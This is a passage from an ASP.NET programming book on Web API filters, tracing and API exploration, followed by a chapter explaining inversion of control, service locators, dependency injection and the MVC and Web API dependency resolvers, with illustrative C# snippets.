The ability to filter requests with attributes has been in ASP.NET since version 1.0, and the ability to add global filters was added in MVC 3. ASP.NET Web API includes both features, although as discussed previously, the filter is global at the configuration level, not at the application level (as there are no such application-wide global features in Web API).

One of the improvements in Web API over MVC is that filters are now part of the asynchronous pipeline, and are by definition always async. If a filter could benefit from being asynchronous — for example, logging exception failures to an asynchronous data source like a database or the file system — then it can do so. However, the Web API team also realized that sometimes being forced to write asynchronous code is unnecessary overhead (especially if you're targeting .NET 4 and don't have access to `async` and `await`), so they also created synchronous attribute-based base class implementations of the three filter interfaces. When porting MVC filters, using these base classes is probably the simplest way to get started. If a filter needs to implement more than one stage of the filter pipeline (such as action filtering *and* exception filtering), there are no helper base classes and the interfaces need to be implemented explicitly.

Developers can apply filters at the action level (for a single action), at the controller level (for all actions in the controller), and at the configuration level (for all actions on all controllers in the configuration). Web API includes one filter in the box for developers to use, `AuthorizeAttribute`. Much like its MVC counterpart, this attribute is used to decorate actions that require authorization, and includes the `AllowAnonymousAttribute`, which can selectively “undo” the `AuthorizeAttribute`. The Web API team is also releasing an out-of-band NuGet package to support several OData-related features, including `QueryableAttribute`, which can automatically support OData query syntax (like the `$top` and `$filter` query string values).

TABLE 11-2: Filter Interfaces and Base Classes

ASYNCHRONOUS INTERFACE SYNCHRONOUS BASE CLASS	PURPOSE
IAuthorizationFilter AuthorizationFilterAttribute	Authorization filters run before any parameter binding has happened. They are intended to filter out requests which do not have the proper authorization for the action in question. Authorization filters run before action filters.
IActionFilter ActionFilterAttribute	Action filters run after parameter binding has happened and wraps the call to the API action method, allowing interception before the action has been dispatched to and after it is done executing. They are intended to allow developers to either augment and/or replace the incoming values and/or outgoing results of the action.
IExceptionFilter ExceptionFilterAttribute	Exception filters are called when calling the action resulted in an exception being thrown. Exception filters can inspect the exception and take some action (for example logging); it can also opt to handle the exception by providing a new response object.

There is no equivalent to the MVC `HandleError` attribute in Web API. MVC's default behavior for errors is to return the ASP.NET "yellow screen of death," which is appropriate (if not entirely user friendly) when your application is generating HTML. The `HandleError` attribute allows MVC developers to replace that behavior with a custom view. Web API, on the other hand, should always attempt to return structured data, including when error conditions occur, so it has built-in support for serializing errors back to the end user. Developers who wish to override this behavior can write their own error handler filter and register it at the configuration level.

ENABLING DEPENDENCY INJECTION

ASP.NET MVC 3 introduced limited support for dependency injection containers to provide both built-in MVC services and the ability to be the factory for non-service classes like controllers and views. Web API has followed suit with similar functionality, with two critical differences.

First, MVC used several static classes as the container for the default services consumed by MVC. Web API's configuration object replaces the need for these static classes, so the developer can inspect and modify this default service listed by accessing `HttpConfiguration.Services`.

Second, Web API's dependency resolver has introduced the notion of "scopes." A scope can be thought of as a way for a dependency injection container to keep track of the objects that it has

allocated in some particular context so that they can be easily cleaned up all at once. Web API's dependency resolver uses two scopes:

- A **per-configuration scope**—For services global to the configuration, cleaned up when the configuration is disposed
- A **request-local scope**—For services created in the context of a given request, such as those consumed by a controller, and cleaned up when the request is completed

Chapter 13 contains more detailed information on using dependency injection in both MVC and Web API scenarios.

EXPLORING APIs PROGRAMMATICALLY

An MVC application's controllers and actions are usually a fairly ad-hoc affair, designed solely to suit the display of HTML in the application. Web APIs, on the other hand, tend to be more ordered and planned. Offering the ability to discover APIs at run time enables developers to provide key functionality along with their Web API applications, including things like automatically generated help pages and test client UI.

Developers can acquire the `IApiExplorer` service from `HttpConfiguration.Services` and use it to programmatically explore the APIs exposed by the service. For example, an MVC controller could return the `IApiExplorer` instance from Web API to this snippet of Razor code to list all the available API endpoints. (The output of this code is shown in Figure 11-4.)

```
@model System.Web.Http.Description.IApiExplorer
@foreach (var api in Model.ApiDescriptions) {
    <h1>@api.HttpMethod @api.RelativePath</h1>
    if (api.ParameterDescriptions.Any()) {
        <h2>Parameters</h2>
        <ul>
            @foreach (var param in api.ParameterDescriptions) {
                <li>@param.Name (@param.Source)</li>
            }
        </ul>
    }
}
```

In addition to the automatically discoverable information, developers can implement the `IDocumentationProvider` interface to supplement the API descriptions with documentation text, which could be used to offer richer documentation and test client functionality. Since the documentation is pluggable, developers can choose to store the documentation in whatever form is convenient, including attributes, stand-alone files, database tables, resources, or whatever best suits the application build process.

GET api/Values

FIGURE 11-4

TRACING THE APPLICATION

One of the most challenging things with remotely deployed code is debugging when something has gone wrong. Web API enables a very rich automatic tracing ecosystem that is turned off by default but can be enabled by the developer as needed. The built-in tracing functionality wraps many of the built-in components and can correlate data from individual requests as it moves throughout the layers of the system.

The central part of tracing is the `ITraceWriter` service. Web API does not ship with any implementations of this service, as it is anticipated that developers will likely already have their own favorite tracing system (such as ETW, log4net, ELMAH, or many others). Instead, Web API looks on startup to see if an implementation of `ITraceWriter` is available in the service list, and if so, automatically begins tracing all requests. The developer must choose how best to store and browse this trace information — typically, by using the configuration options provided by their chosen logging system.

Application and component developers can also add tracing support to their systems by retrieving the `ITraceWriter` service and, if it's not `null`, writing tracing information to it. The core `ITraceWriter` interface only contains a single `Trace` method, but there are several extension methods which are designed to make it easy to trace different levels of messages (debug, info, warning, error, and fatal messages) as well as helpers to trace entry and exit to both synchronous and asynchronous methods.

WEB API EXAMPLE: PRODUCTSCONTROLLER

Here's an example Web API controller that exposes a simple data object through Entity Framework's Code First feature. To support this example, we will need three files:

- The model—`Product.cs` (Listing 11-3)
- The database context—`DataContext.cs` (Listing 11-4)
- The Web API controller—`ProductsController.cs` (Listing 11-5)

LISTING 11-3: Product.cs

```
public class Product
{
    public int ID { get; set; }
    public string Name { get; set; }
    public decimal Price { get; set; }
    public int UnitsInStock { get; set; }
}
```

LISTING 11-4: DataContext.cs

```
public class DataContext : DbContext
{
    public DbSet<Product> Products { get; set; }
}
```

LISTING 11-5: ProductsController.cs

```
public class ProductsController : ApiController
{
    private DataContext db = new DataContext();

    // GET api/Products
    public IEnumerable<Product> GetProducts()
    {
        return db.Products;
    }

SUMMARY

ASP.NET Web API is a powerful new way to add APIs to your new and existing web applications. MVC developers will find its controller-based programming model familiar, and WCF developers will find its support for both web-hosting and self-hosting to be an added bonus compared to MVC-based service systems. When coupled with Visual Studio 2012 and .NET 4.5, the asynchronous design allows your Web APIs to scale efficiently while maintaining a comfortable sequential programming model.

Dependency Injection

Brad Wilson

WHAT'S IN THIS CHAPTER?

- Software design patterns
- Using the dependency resolver in MVC
- Using the dependency resolver in Web API

As of version 3, ASP.NET MVC has included a *dependency resolver* that dramatically improves the ability of an application to participate in dependency injection for both services consumed by MVC and commonly created classes like controllers and view pages.

To understand how the dependency resolver works, we first need to define some of the common software patterns that it uses. If you're already familiar with patterns like service location and dependency injection, you may want to skim or skip the next section and go directly to the "Dependency Resolution in MVC" section.

SOFTWARE DESIGN PATTERNS

To understand what dependency injection is and how you can apply it to MVC applications, we'll need to talk about software design patterns. A *software design pattern* is used to formalize the description of a problem and a solution to that problem, so that developers can use the pattern to simplify the identification and communication of common problems and solutions.

The design pattern isn't necessarily to claim the invention of something new or novel, but rather exists to give a formal name and definition from common practices in the industry.

When you read about a design pattern, you may recognize it from solutions you've used in particular problems in the past.

DESIGN PATTERNS

The concept of patterns and a pattern language is generally credited to Christopher Alexander, Sara Ishikawa, and Murray Silverstein in their book *A Pattern Language: Towns, Buildings, and Construction* (1977, Oxford University Press). The book presents a view of architecture and urban planning in terms of patterns, which they use to describe problems (and solutions to those problems).

In the software development world, Kent Beck and Ward Cunningham were among the first to adopt the idea of a pattern language, and presented their experiment at the 1987 OOPSLA conference. Perhaps the first and best known comprehensive treatment on core software development patterns was the book *Design Patterns: Elements of Reusable Object-Oriented Software* (1994, Addison-Wesley Professional). The book is often called the “Gang of Four” (or “GoF”) book, so named because of the four authors: Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides.

Since that time the use of software patterns has exploded, and several volumes of work have been devoted to the subject by such luminaries as Martin Fowler, Alan Shalloway, and James R. Trott.

Design Pattern: Inversion of Control

Everyone has probably seen (or written) code like this:

```
public class EmailService
{
    public void SendMessage() { ... }
}

public class NotificationSystem
{
    private EmailService svc;

    public NotificationSystem()
    {
        svc = new EmailService();
    }

    public void InterestingEventHappened()
    {
        svc.SendMessage();
    }
}
```

You can see that `NotificationSystem` has a dependency on `EmailService`. When a component has a dependency on something else, we call that *coupling*. In this case, the notification system creates an instance of the e-mail service directly inside of the notification system's constructor; in other words, the notification system knows exactly what kind of service class it's creating and consuming. This coupling is an indication of how interconnected your code is. A class that knows a lot about the other classes it interacts with (as in the preceding example) is said to be *tightly coupled*.

In software design, tight coupling is often considered to be a liability in your design. When one class knows explicitly about the design and implementation of another class, you raise the risk that changes to one class will break the other class.

Also consider another potential problem with the design above: What if the notification system wants to start sending other kinds of messages when the interesting event happens? For example, maybe the administrator of the system wants to start getting text messages instead of e-mails, or also wants to start logging every notification into a database so they can be reviewed at a later time. To enable this behavior, we have to dive back into the implementation of the notification system.

To reduce coupling, you generally take two separate but related steps:

1. Introduce an abstraction layer between two pieces of code.

To perform this step in .NET, you often use interfaces (or abstract classes) to represent the abstractions between two classes. Using the previous example, you introduce an interface to represent your abstraction, and ensure that your code only calls methods or properties on that interface. Your private copy becomes an instance of that interface rather than the concrete type, and we limit the knowledge of the actual type to the constructor, as follows:

```
public interface IMessagingService
{
    void SendMessage();
}

public class EmailService : IMessagingService
{
    public void SendMessage() { ... }
}

public class NotificationSystem
{
    private IMessagingService svc;

    public NotificationSystem()
    {
        svc = new EmailService();
    }

    public void InterestingEventHappened()
    {
        svc.SendMessage();
    }
}
```

2. Move the responsibility of choosing the implementation of the abstraction to outside of the consuming class.

You need to move the creation of the `EmailService` class outside of `NotificationSystem`.

NOTE *Moving the creation of dependencies outside of the class that consumes those dependencies is called the inversion of control pattern, so named because what you're inverting here is the creation of dependencies (and in so doing, you are removing the control of dependency creation from the consumer of the class).*

The inversion of control (IoC) pattern is abstract; it says that one should move dependency creation out of the consumer class, but it doesn't talk about exactly how to achieve that. The following sections explore two popular ways to apply the inversion of control pattern to achieve this responsibility shift: *service locator* and *dependency injection*.

Design Pattern: Service Locator

The service locator pattern says that inversion of control is achieved by having components get their dependencies through an external component known as the service locator. Sometimes a service locator is a very specific interface, with strongly typed requests for specific services, and sometimes it may show up as a very generic way to request services of any arbitrary type.

Strongly Typed Service Locator

A strongly typed service locator for the sample application might have an interface like this:

```
public interface IServiceLocator
{
    IMessagingService GetMessagingService();
}
```

In this case, when you need an implementation of `IMessagingService`, you know to call `GetMessagingService`. The method returns exactly `IMessagingService`, so you won't need to cast the result.

You'll notice that I'm showing the service locator as an interface here rather than as a concrete type. Remember that one of your goals is to reduce the tight coupling between components; this includes the coupling between the consumer code and the service locator itself. If the consumer code is coded against `IServiceLocator`, that means you can substitute alternative implementations at run time as appropriate. This can have tremendous value in unit testing, as discussed in Chapter 13.

Now if you re-write `NotificationSystem` in terms of the strongly typed service locator, it might look like this:

```
public class NotificationSystem
{
    private IMessagingService svc;
```

```

public NotificationSystem(IServiceLocator locator)
{
    svc = locator.GetMessagingService();
}

public void InterestingEventHappened()
{
    svc.SendMessage();
}
}

```

We're assuming that anybody who creates an instance of `NotificationSystem` will have access to a service locator. What's convenient is that if your application creates instances of `NotificationSystem` through the service locator, then the locator can pass itself to the `NotificationSystem` constructor; if you create instances of `NotificationSystem` outside of the service locator, you'll need to provide an implementation of the service locator to `NotificationSystem` so that it can find its dependencies.

Why might you choose a strongly typed service locator? It's fairly easy to understand and consume: you know exactly what kinds of things you can get from this service locator (and, perhaps just as important, what kinds of services you cannot get). Additionally, if you need some parameters to create the implementation of `IMessagingService`, you can request them directly as parameters to the call to `GetMessagingService`.

Why might you not choose a strongly typed service locator? First, this service locator is limited to creating objects of types that have been predetermined at the time that `IServiceLocator` was designed. It's not capable of creating any other types. Second, it could become a maintenance burden having to constantly expand the definition of `IServiceLocator` as you find need for more services in your application.

Weakly Typed Service Locator

If the downsides of a strongly typed service locator seem to outweigh the upsides, you could consider using a weakly typed service locator instead. That might look something like this:

```

public interface IServiceLocator
{
    object GetService(Type serviceType);
}

```

This variant of the service locator pattern is much more flexible, because it allows you to ask for any arbitrary service type. It's called a *weakly typed service locator* because it takes a `Type` and returns an un-typed instance (that is, an object of type `Object`). You need to cast the result of the call to `GetService` to get the correctly typed object back.

What would `NotificationSystem` look like now with this version of the service locator? It might look something like this:

```

public class NotificationSystem
{
    private IMessagingService svc;

    public NotificationSystem(IServiceLocator locator)

```

```

    {
        svc = (IMessagingService)
            locator.GetService(typeof(IMessagingService));
    }

    public void InterestingEventHappened()
    {
        svc.SendMessage();
    }
}

```

This code is a little less pretty than the previous version, owing primarily to the required casting to `IMessagingService`. With the introduction of generics in .NET 2.0, you could have also included a generic version of the `GetService` method:

```

public interface IServiceLocator
{
    object GetService(Type serviceType);
    TService GetService<TService>();
}

```

The contract for such a method implies that it will return an object already cast to the correct type (notice that its return type is `TService` now instead of `Object`). That makes the consuming code quite a bit cleaner:

```

public class NotificationSystem
{
    private IMessagingService svc;

    public NotificationSystem(IServiceLocator locator)
    {
        svc = locator.GetService<IMessagingService>();
    }

    public void InterestingEventHappened()
    {
        svc.SendMessage();
    }
}

```

WHY BOTHER WITH THE OBJECT VERSION?

You might be asking why we even bother having the object version of `GetService`, rather than just having our API consist of only the generic version. Because it saves us a cast, we will be calling the generic version pretty much everywhere, right?

In practice, you find that not every consumer who calls an API will know the exact type they'll be calling it with at compile time. In an example you'll see later, the MVC framework is trying to create controller types. MVC knows what type the controller is, but it only discovers that at run time, not at compile time (for example, mapping a request for `/Home` into `HomeController`). Because the type parameter of the generic version is not only for casting but also for specifying the service type, you would not be able to call the service locator without resorting to reflection.

The downside to this approach is that it forces implementers of `IServiceLocator` to create two nearly identical methods instead of one. This unfortunate duplication of effort can be eliminated with a feature introduced into .NET 3.5: extension methods.

Extension methods are written as static methods on a static class, and utilize the special `this` keyword on their first parameter to indicate what type this extension method is attached to. Separating the generic `GetService` method into an extension method yields the following:

```
public interface IServiceLocator
{
    object GetService(Type serviceType);
}

public static class ServiceLocatorExtensions
{
    public static TService GetService<TService>(this IServiceLocator locator)
    {
        return (TService)locator.GetService(typeof(TService));
    }
}
```

Now we've eliminated the duplication and extra effort associated with the generic version of the method. We write it once and everybody can take advantage of our implementation.

EXTENSION METHODS IN ASP.NET MVC

The MVC framework makes heavy use of extension methods. Most of the HTML helpers that you use to generate forms inside of your views are actually extension methods on the `HtmlHelper`, `AjaxHelper`, or `UrlHelper` class (which are the types of objects you get when you access the `Html`, `Ajax`, and `Url` objects in a view, respectively).

Extension methods in MVC are in their own separate namespace (usually `System.Web.Mvc.Html` or `System.Web.Mvc.Ajax`). The MVC team did this because they understood that the HTML generators may not exactly match those that you want for your application. You could write your own HTML generator extension methods, customized to your needs. If you remove MVC's namespace(s) from the `.config` file, none of the built-in extension methods will show up, allowing you to have your own and eliminate MVC's. Or, you may choose to include both. Writing the HTML generators as extension methods gives you the flexibility to decide what's right for your application.

Why might you choose a weakly typed locator? It allows you to fix many of the downsides of the strongly typed locator; that is, you get an interface that can create arbitrary types without knowing about them ahead of time, and it reduces your maintenance burden because the interface is not constantly evolving.

On the other hand, a weakly typed locator interface doesn't really communicate anything about the kinds of services that might be requested, and it doesn't offer a simple way to customize the creation of the service. You could add an arbitrary optional array of objects as "creation parameters"

for the service, but the only way you know services would require parameters is by way of external documentation.

The Pros and Cons of Service Locators

Using a service locator is relatively straightforward: You get the service locator from somewhere and ask it for your dependencies. You might find the service locator in a known (global) location, or you might get the service locator provided to you by whoever is creating it. As your dependencies change, your signature stays the same, because the only thing you require to find your dependencies is the locator.

The benefit of the constant signature is as much a downside as it is an upside. It creates opacity of requirements for your component: The developers who consume your component can't tell just by looking at the constructor signature what your service requirements are going to be. They are forced to consult documentation, which may be out of date, or simply to pass in an empty service locator and see what kinds of things you request.

This opacity of requirements is a strong driver behind choosing your next IoC pattern: dependency injection.

Design Pattern: Dependency Injection

The dependency injection (DI) pattern is another form of the inversion of control pattern, wherein there is no intermediary object like the service locator. Instead, components are written in a way that allows their dependencies to be stated explicitly, usually by way of constructor parameters or property setters.

Developers who choose dependency injection over service location are often making a conscious decision to choose transparency of requirements over opacity. Choosing the transparency of dependency injection also has significant advantages during unit testing, as discussed in the next chapter.

Constructor Injection

The most common form of dependency injection is called *constructor injection*. This technique involves creating a constructor for your class that expresses all of its dependencies explicitly (as opposed to the previous service location examples, where your constructor took the service locator as its only constructor parameter).

Now let's look at what `NotificationSystem` would look like if designed to support constructor injection:

```
public class NotificationSystem
{
    private IMessagingService svc;

    public NotificationSystem(IMessagingService service)
    {
        this.svc = service;
    }

    public void InterestingEventHappened()
```

```

    {
        svc.SendMessage();
    }
}

```

In this code, the first benefit is that the implementation of the constructor is dramatically simplified. The component is always expecting whoever creates it to pass the required dependencies. It only needs to store the instance of `IMessagingService` for later use.

Another benefit is that you've reduced the number of things `NotificationSystem` needs to know about. Previously, it needed to understand service locators in addition to its own dependencies; now, it is focused solely on its own dependencies.

The third benefit, as alluded to previously, is this new transparency of requirements. Any code that wants to create an instance of `NotificationSystem` can look at the constructor and know exactly what kinds of things are necessary to make `NotificationSystem` function. There is no guesswork and no indirection through the service locator.

Property Injection

A less common form of dependency injection is called *property injection*. As the name implies, dependencies for a class are injected by setting public properties on the object rather than through the use of constructor parameters.

A version of `NotificationSystem` that uses property injection would look like this:

```

public class NotificationSystem
{
    public IMessagingService MessagingService
    {
        get;
        set;
    }

    public void InterestingEventHappened()
    {
        MessagingService.SendMessage();
    }
}

```

This code removes the constructor arguments (in fact, it removes the constructor entirely) and replaces it with a property. This class expects any consumers to provide you with your dependencies via properties rather than the constructor.

The `InterestingEventHappened` method is now slightly dangerous. It presumes that the service dependency has already been provided; if it hasn't, then it will throw a `NullReferenceException`. You should update the `InterestingEventHappened` method to ensure that it has been provided with its dependency before using the service:

```

public void InterestingEventHappened()
{
    if (MessagingService == null)
    {
        throw new InvalidOperationException(

```

```

        "Please set MessagingService before calling " +
        "InterestingEventHappened() ."
    );
}

MessagingService.SendMessage();
}

```

It should be obvious that you've slightly reduced your transparency of requirements here; it's not quite as opaque as using the service locator, but it's definitely more error prone than constructor injection.

With this reduced transparency, you're probably wondering why a developer would choose property injection over constructor injection. Two situations might warrant that choice:

- If your dependencies are truly optional in the sense that you have some fallback when the consumer doesn't provide you with one, property injection is probably a good choice.
- Instances of your class might be created in such a way that you don't have control over the constructor that's being called. This is a less obvious reason. You'll see a couple of examples of this later in the chapter when we discuss how dependency injection is applied to view pages.

In general, developers tend to favor using constructor injection whenever possible, falling back to property injection only when one of the preceding reasons dictates. Obviously, you can mix both techniques in a single object: put your mandatory dependencies in as constructor parameters, and your optional dependencies in as properties.

Dependency Injection Containers

One big piece of the puzzle that's missing in both examples of dependency injection is exactly how it takes place. It's one thing to say, "Write your dependencies as constructor arguments," but it's another to understand how they might be fulfilled. The consumer of your class could manually provide you with all those dependencies, but that can become a pretty significant burden over time. If your entire system is designed to support dependency injection, creating any component means you have to understand how to fulfill everybody's requirements.

Using a *dependency injection container* is one way to make the resolution of these dependencies simpler. A dependency injection container is a software library that acts as a factory for components, automatically inspecting and fulfilling their dependency requirements. The consumption portion of the API for a dependency injection container looks a lot like a service locator because the primary action you ask it to perform is to provide you with some component, usually based on its type.

The difference is in the details, of course. The implementation of a service locator is typically very simple: You tell the service locator, "If anybody asks for this type, you give them this object."

Service locators are rarely involved in the process of actually creating the object in question. A dependency injection container, on the other hand, is often configured with logic like, "If anybody asks for this type, you create an object of this concrete type and give them that." The implication is that creating the object of that concrete type will, in turn, often require the creation of other types to fulfill its dependency requirements. This difference, while subtle, makes a fairly large difference in the actual usage of service locators versus dependency injection containers.

More or less, all containers have configuration APIs that allow you to map types (which is the equivalent of saying, "When someone asks for type T1, build an object of type T2 for them."). Many

also allow configuration by name (“When someone asks for the type T_1 named N_1 , build an object of type T_2 .”). Some will even attempt to build arbitrary types, even if they have not been preconfigured, so long as the requested type is concrete and not abstract. A few containers even support a feature called *interception*, wherein you can set the equivalent of event handlers for when types get created, and/or when methods or properties get called on those objects.

For the purposes of this book, the discussion of the use of these advanced features is beyond our scope. When you have decided on a dependency injection container, you will typically find documentation online that will discuss how to do advanced configuration operations.

DEPENDENCY RESOLUTION IN MVC

Now that you understand the fundamentals of inversion of control, we can talk about how it works inside of ASP.NET MVC.

NOTE *Although this chapter talks about the mechanics of how to provide services to MVC, it doesn’t talk about how to implement any of those specific services; for that, you should consult Chapter 14.*

The primary way that MVC talks to containers is through an interface created for MVC applications: `IDependencyResolver`. The interface is defined as follows:

```
public interface IDependencyResolver
{
    object GetService(Type serviceType);
    IEnumerable<object> GetServices(Type serviceType);
}
```

This interface is consumed by the MVC framework itself. If you want to register a dependency injection container (or a service locator, for that matter), you need to provide an implementation of this interface. You can typically register an instance of the resolver inside your `Global.asax` file, with code much like this:

```
DependencyResolver.Current = new MyDependencyResolver();
```

USING NUGET TO GET YOUR CONTAINER

It certainly would be ideal if you didn’t have to implement the `IDependencyResolver` interface on your own, just because you want to use dependency injection. Thankfully, NuGet can come to the rescue here.

NuGet is the package manager included with ASP.NET MVC. It enables you to add references to common open source projects on the Web with almost no effort. For more information on using NuGet, see Chapter 10.

At the time of this writing, a search on NuGet for phrases like “IoC” and “dependency” shows several dependency injection containers available for download. Many of them have a corresponding MVC support package, which means they come bundled with an implementation of MVC’s `IDependencyResolver`.

Because prior versions of MVC did not have this concept of a dependency resolver, it is considered optional (and there isn't one registered by default). If you don't need dependency resolution support, you are not required to have a resolver. In addition, almost everything that MVC can consume as a service can be registered either inside of the resolver or with a more traditional registration point (and, in many cases, both).

When you want to provide services to the MVC framework, you can choose which registration mode suits you best. MVC generally consults the dependency resolver first when it needs services, and falls back to the traditional registration points when it can't find the service in the dependency resolver.

The code we can't show here is how to register something in the dependency resolver. Why not? Because the registration API that you'll utilize is dependent on which dependency injection container you choose to use. You should consult the container documentation for information on registration and configuration.

You'll notice that there are two methods on the dependency resolver interface — that's because MVC consumes services in two different ways.

SHOULD YOU CONSUME IDependencyResolver IN YOUR APPLICATION?

You might be tempted to consume `IDependencyResolver` from within your own application. Resist that temptation.

The dependency resolver interface is exactly what MVC needs — and nothing more. It's not intended to hide or replace the traditional API of your dependency injection container. Most containers have complex and interesting APIs; in fact, it's likely that you will choose your container based on the APIs and features that it offers more than any other reason.

Singly Registered Services in MVC

MVC has services that it consumes for which the user can register one (and exactly one) instance of that service. It calls these services singly registered services, and the method used to retrieve *singly registered* services from the resolver is `GetService`.

For all the singly registered services, MVC consults the dependency resolver for the service the first time it is needed, and caches the result for the lifetime of the application. You can either use the dependency resolver API or the traditional registration API (when available), but you cannot use both because MVC is expecting to use exactly one instance of any singly registered service.

Implementers of `GetService` should return an instance of the service that is registered in the resolver, or return `null` if the service is not present in the resolver. Table 12-1 shows the list of singly registered services that MVC uses.

Multiply Registered Services in MVC

In contrast with singly registered services, MVC also consumes some services where the user can register many instances of the service, which then compete or collaborate to provide information to MVC. It calls these kinds of services *multiply registered services*, and the method that is used to retrieve multiply registered services from the resolver is `GetServices`.

For all the multiply registered services, MVC consults the dependency resolver for the services the first time they are needed, and caches the results for the lifetime of the application. You can use both the dependency resolver API and the traditional registration API, and MVC combines the results in a single merged services list. Services registered in the dependency resolver come before services registered with the traditional registration APIs. This is important for those multiply registered services that compete to provide information; that is, MVC asks each service instance one by one to provide information, and the first one that provides the requested information is the service instance that MVC will use.

Implementers of `GetServices` should always return a collection of implementations of the service type that are registered in the resolver, or return an empty collection if there are none present in the resolver.

When listing the multiply registered services that MVC supports, there is a designation titled “multi-service model,” with one of two values:

- **Competitive services:** Those where the MVC framework will go from service to service (in order), and ask the service whether it can perform its primary function. The first service that responds that it can fulfill the request is the one that MVC uses. These questions are typically asked on a per-request basis, so the actual service that's used for each request may be different. An example of competitive services is the view engine service: Only a single view engine will render a view in a particular request.

- **Cooperative services:** Those where the MVC framework asks every service to perform its primary function, and all services that indicate that they can fulfill the request will contribute to the operation. An example of cooperative services is filter providers: Every provider may find filters to run for a request, and all filters found from all providers will be run.

Table 12-2 shows the list of multiply registered services that MVC uses, including designations to show which are cooperative or competitive.

Arbitrary Objects in MVC

There are two special cases where the MVC framework will request a dependency resolver to manufacture *arbitrary objects* — that is, objects that are not (strictly speaking) services. Those objects are controllers and view pages.

As you saw in the previous two sections, two services called activators control the instantiation of controllers and view pages. The default implementations of these activators ask the dependency resolver to create the controllers and view pages, and failing that, they will fall back to calling `Activator.CreateInstance`.

Creating Controllers

If you've ever tried to write a controller with a constructor with parameters before, at run time you'll get an exception that says, "No parameterless constructor defined for this object." In an MVC application, if you look closely at the stack trace of the exception, you'll see that it includes `DefaultControllerFactory` as well as `DefaultControllerActivator`.

The controller factory is ultimately responsible for turning controller names into controller objects, so it is the controller factory that consumes `IControllerActivator` rather than MVC itself. The default controller factory in MVC splits this behavior into two separate steps: the mapping of controller names to types, and the instantiation of those types into objects. The latter half of the behavior is what the controller activator is responsible for.

CUSTOM CONTROLLER FACTORIES AND ACTIVATORS

It's important to note that because the controller factory is ultimately responsible for turning controller names into controller objects, any replacement of the controller factory may disable the functionality of the controller activator. In MVC versions prior to MVC 3, the controller activator did not exist, so any custom controller factory designed for an older version of MVC will not know about the dependency resolver or controller activators. If you write a new controller factory, you should consider using controller activators whenever possible.

Because the default controller activator simply asks the dependency resolver to make controllers for you, many dependency injection containers automatically provide dependency injection for

controller instances because they have been asked to make them. If your container can make arbitrary objects without preconfiguration, you should not need to create a controller activator; simply registering your dependency injection container should be sufficient.

However, if your dependency injection container does not like making arbitrary objects, it will also need to provide an implementation of the activator. This allows the container to know that it's being asked to make an arbitrary type that may not be known of ahead of time, and allow it to take any necessary actions to ensure that the request to create the type will succeed.

The controller activator interface contains only a single method:

```
public interface IControllerActivator
{
    IController Create(RequestContext requestContext, Type controllerType);
}
```

In addition to the controller type, the controller activator is also provided with the `RequestContext`, which includes access to the `HttpContext` (including things like `Session` and `Request`), as well as the route data from the route that mapped to the request. You may also choose to implement a controller activator to help make contextual decisions about how to create your controller objects, because it has access to the context information. One example of this might be an activator that chooses to make different controller classes based on whether the logged in user is an administrator or not.

Creating Views

Much as the controller activator is responsible for creating instances of controllers, the view page activator is responsible for creating instances of view pages. Again, because these types are arbitrary types that a dependency injection container will probably not be preconfigured for, the activator gives the container an opportunity to know that a view is being requested.

The view activator interface is similar to its controller counterpart:

```
public interface IViewPageActivator
{
    object Create(ControllerContext controllerContext, Type type);
}
```

In this case, the view page activator is given access to the `ControllerContext`, which contains not only the `RequestContext` (and thus `HttpContext`), but also a reference to the controller, the model, the view data, the temp data, and other pieces of the current controller state.

Like its controller counterpart, the view page activator is a type that is indirectly consumed by the MVC framework, rather than directly. In this instance, it is the `BuildManagerViewEngine` (the abstract base class for `WebFormViewEngine` and `RazorViewEngine`) that understands and consumes the view page activator.

A view engine's primary responsibility is to convert view names into view instances. The MVC framework splits the actual instantiation of the view page objects out into the view activator, while leaving the identification of the correct view files and the compilation of those files to the build manager view engine base class.

ASP.NET'S BUILD MANAGER

The compilation of views into classes is the responsibility of a component of the core ASP.NET run time called `BuildManager`. This class has many duties, including converting `.aspx` and `.ascx` files into classes for consumption by WebForms applications.

The build manager system is extensible, like much of the ASP.NET core run time, so you can take advantage of this compilation model to convert input files into classes at run time in your applications. In fact, the ASP.NET core run time doesn't know anything about Razor; the ability to compile `.cshtml` and `.vbhtml` files into classes exists because the ASP.NET Web Pages team wrote a build manager extension called a build provider.

Examples of third-party libraries that did this were the earlier releases of the SubSonic project, an object-relational mapper (ORM) written by Rob Conery. In this case, SubSonic would consume a file that described a database to be mapped, and at run time it would generate the ORM classes automatically to match the database tables.

The build manager operates during design time in Visual Studio, so any compilation that it's doing is available while writing your application. This includes IntelliSense support inside of Visual Studio.

DEPENDENCY RESOLUTION IN WEB API

The new Web API feature (refer to Chapter 11) also includes the ability to support dependency resolution. The design of the dependency resolver in Web API is slightly different from the one in MVC but, in principle, serves the same purposes: to allow developers to easily get dependency injection for their controllers, as well as making it easy to provide services to Web API that are themselves created via dependency-injection techniques.

There are two significant differences in the dependency resolution implementation in Web API. First, there are no static APIs for default registration of services; these old static APIs in MVC were there for historical reasons. Instead, there is a loosely typed service locator that can be accessed at `HttpConfiguration.Services`, where developers can enumerate and replace the default services used by Web API.

Second, the actual dependency resolver API has been modified slightly to support the notion of *scopes*. One criticism of the original dependency resolver interface in MVC was the lack of any kind of resource-cleanup mechanism. After consultation with the community, we landed on a design that used the concept of a scope as the way that Web API would trigger this cleanup. The system automatically creates a new scope per request, which is available as an `HttpRequestMessage` extension method named `GetDependencyScope`. Like the dependency resolver interface, the scope interface has both `GetService` and `GetServices` methods; the difference is that resources acquired from the request-local scope will be released when the request is completed.

Getting or setting the dependency resolver for Web API is done via `HttpConfiguration.DependencyResolver`.

Singly Registered Services in Web API

Like MVC, Web API has services that it consumes for which the user can register one (and exactly one) instance of that service. The resolver retrieves these singly registered services by calling `GetService`.

For all the singly registered services, Web API consults the dependency resolver for the service the first time it is needed, and caches the result for the lifetime of the application. When Web API cannot find the service in the resolver, it uses the service found in the default services list in `HttpConfiguration.Services`. Table 12-3 shows the list of singly registered services that Web API uses.

Multiply Registered Services in Web API

Again borrowing the concepts from MVC, Web API has multiply registered services, and combines the list of those services from the dependency resolver with the list in `HttpConfiguration.Services`. To retrieve the services from the dependency resolver, Web API will call the `GetServices` method. Table 12-4 lists the multiply registered services that Web API uses, and whether those services are cooperative or competitive.

Arbitrary Objects in Web API

There are three special cases where the Web API framework will request a dependency resolver to manufacture *arbitrary objects* — that is, objects that are not (strictly speaking) services. Like MVC, controllers are one class of these objects. The other two are model binders attached with the `[ModelBinder]` attribute and the per-controller services that are attached to controllers via `[HttpControllerConfiguration]`.

